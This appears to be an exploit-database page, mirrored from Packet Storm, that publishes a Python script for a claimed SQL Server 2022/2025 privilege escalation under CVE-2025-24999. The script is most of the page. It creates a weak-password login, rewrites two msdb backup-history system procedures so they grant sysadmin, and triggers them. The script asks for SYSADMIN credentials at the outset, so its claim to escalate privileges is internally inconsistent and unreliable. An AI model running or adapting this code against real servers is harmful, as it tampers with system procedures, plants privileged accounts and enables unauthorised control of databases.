Lucene search
K

📄 Microsoft SQL Server 2022/2025 Privilege Escalation

🗓️ 24 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 72 Views

Python exploit abuses stored procedure permissions escalate to SYSADMIN on SQL Server 2022/2025 (CVE 2025 24999).

Related
Code
==================================================================================================================================
    | # Title     : Microsoft SQL Server 2022/2025 Privilege Escalation via Stored Procedure Abuse Python Exploit                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.microsoft.com/fr-dz                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This Python script demonstrates a privilege escalation technique targeting Microsoft SQL Server, associated with CVE-2025-24999. 
                     The exploit abuses improper permission controls on system stored procedures in the msdb database to elevate a low-privileged account to SYSADMIN.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import pyodbc
    import sys
    import time
    
    
    class SQLServerExploit:
        def __init__(self, server, database='master', username=None, password=None, use_windows_auth=False):
            self.server = server
            self.database = database
            self.conn = None
            self.cursor = None
    
            if not use_windows_auth and (not username or not password):
                raise ValueError("Username and password required for SQL authentication")
    
            if use_windows_auth:
                self.conn_string = (
                    f'DRIVER={{ODBC Driver 17 for SQL Server}};'
                    f'SERVER={server};DATABASE={database};Trusted_Connection=yes;'
                )
            else:
                self.conn_string = (
                    f'DRIVER={{ODBC Driver 17 for SQL Server}};'
                    f'SERVER={server};DATABASE={database};UID={username};PWD={password};'
                )
    
        def connect(self):
            try:
                self.conn = pyodbc.connect(self.conn_string, autocommit=True)
                self.cursor = self.conn.cursor()
                print(f"[+] Connected to {self.server}")
                return True
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                return False
    
        def execute_query(self, query, database=None):
            if not self.cursor:
                print("[-] No active database connection")
                return False
    
            try:
                if database:
                    self.cursor.execute(f"USE [{database}]")
    
                self.cursor.execute(query)
    
                try:
                    return self.cursor.fetchall()
                except pyodbc.ProgrammingError:
                    return []
            except Exception as e:
                print(f"[-] Query execution failed: {e}")
                return False
    
        def create_low_privilege_account(self, username, password):
            queries = [
                f"IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '{username}') "
                f"CREATE LOGIN [{username}] WITH PASSWORD = N'{password}', CHECK_POLICY = OFF",
                f"ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [{username}]"
            ]
    
            for query in queries:
                result = self.execute_query(query)
                if result is False:
                    return False
    
            print(f"[+] Created low-privilege account: {username}")
            return True
    
        def exploit(self, target_username, target_password):
            print(f"[*] Starting exploitation for user: {target_username}")
    
            setup_queries = [
                f"USE [msdb]",
                f"IF NOT EXISTS (SELECT * FROM sys.database_principals WHERE name = '{target_username}') "
                f"CREATE USER [{target_username}] FOR LOGIN [{target_username}]",
                f"ALTER ROLE [SQLAgentOperatorRole] ADD MEMBER [{target_username}]"
            ]
    
            for query in setup_queries:
                if self.execute_query(query) is False:
                    print("[-] MSDB setup failed")
                    return False
    
            print(f"[+] Configured MSDB for {target_username}")
    
            exploit_code = f"""
            ALTER PROCEDURE [dbo].[sp_delete_database_backuphistory]
            @database_name sysname
            AS
            BEGIN
                EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
            END
            """
    
            if self.execute_query(exploit_code, 'msdb') is False:
                return False
    
            exploit_code2 = f"""
            ALTER PROCEDURE [dbo].[sp_delete_backuphistory]
            @database_name sysname
            AS
            BEGIN
                EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
            END
            """
    
            if self.execute_query(exploit_code2, 'msdb') is False:
                return False
    
            print("[+] Stored procedures modified")
    
            trigger_queries = [
                "IF DB_ID('temp_exploit_db') IS NULL CREATE DATABASE temp_exploit_db",
                "EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N'temp_exploit_db'",
                "DROP DATABASE temp_exploit_db"
            ]
    
            for query in trigger_queries:
                if self.execute_query(query) is False:
                    print(f"[-] Trigger failed: {query}")
                    return False
    
            print("[+] Exploit triggered")
    
            time.sleep(1)
            result = self.execute_query(
                f"SELECT IS_SRVROLEMEMBER('sysadmin', '{target_username}')"
            )
    
            if result and result[0][0] == 1:
                print(f"[+] SUCCESS! {target_username} is SYSADMIN")
                return True
    
            print("[-] Exploit failed")
            return False
    
        def cleanup(self, username):
    
            queries = [
                f"DROP USER [{username}]",
                f"DROP LOGIN [{username}]"
            ]
    
            for query in queries:
                try:
                    self.execute_query(query, 'msdb')
                    self.execute_query(query)
                except Exception:
                    pass
    
            print(f"[+] Cleanup completed")
    
        def close(self):
            try:
                if self.cursor:
                    self.cursor.close()
            except:
                pass
    
            try:
                if self.conn:
                    self.conn.close()
            except:
                pass
    
    
    def main():
        print("=" * 60)
        print("CVE-2025-24999 - SQL Server Privilege Escalation Exploit")
        print("=" * 60)
    
        server = input("Enter SQL Server address: ").strip()
        use_auth = input("Use Windows authentication? (y/n): ").strip().lower()
    
        try:
            if use_auth == 'y':
                exploit = SQLServerExploit(server, use_windows_auth=True)
            else:
                username = input("Enter SQL username (SYSADMIN): ").strip()
                password = input("Enter password: ").strip()
                exploit = SQLServerExploit(server, username=username, password=password)
        except ValueError as e:
            print(f"[-] {e}")
            sys.exit(1)
    
        if not exploit.connect():
            sys.exit(1)
    
        target_user = input("Target username (default exploit_user): ").strip() or "exploit_user"
        target_pass = input("Password (default Exploit@123): ").strip() or "Exploit@123"
    
        if exploit.create_low_privilege_account(target_user, target_pass):
            if exploit.exploit(target_user, target_pass):
                print(f"\n[+] Exploit completed")
                print(f"[+] Credentials: {target_user}/{target_pass}")
    
                if input("Cleanup? (y/n): ").lower() == 'y':
                    exploit.cleanup(target_user)
            else:
                print("[-] Exploit failed")
        else:
            print("[-] User creation failed")
    
        exploit.close()
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.18.8
EPSS0.00758
SSVC
72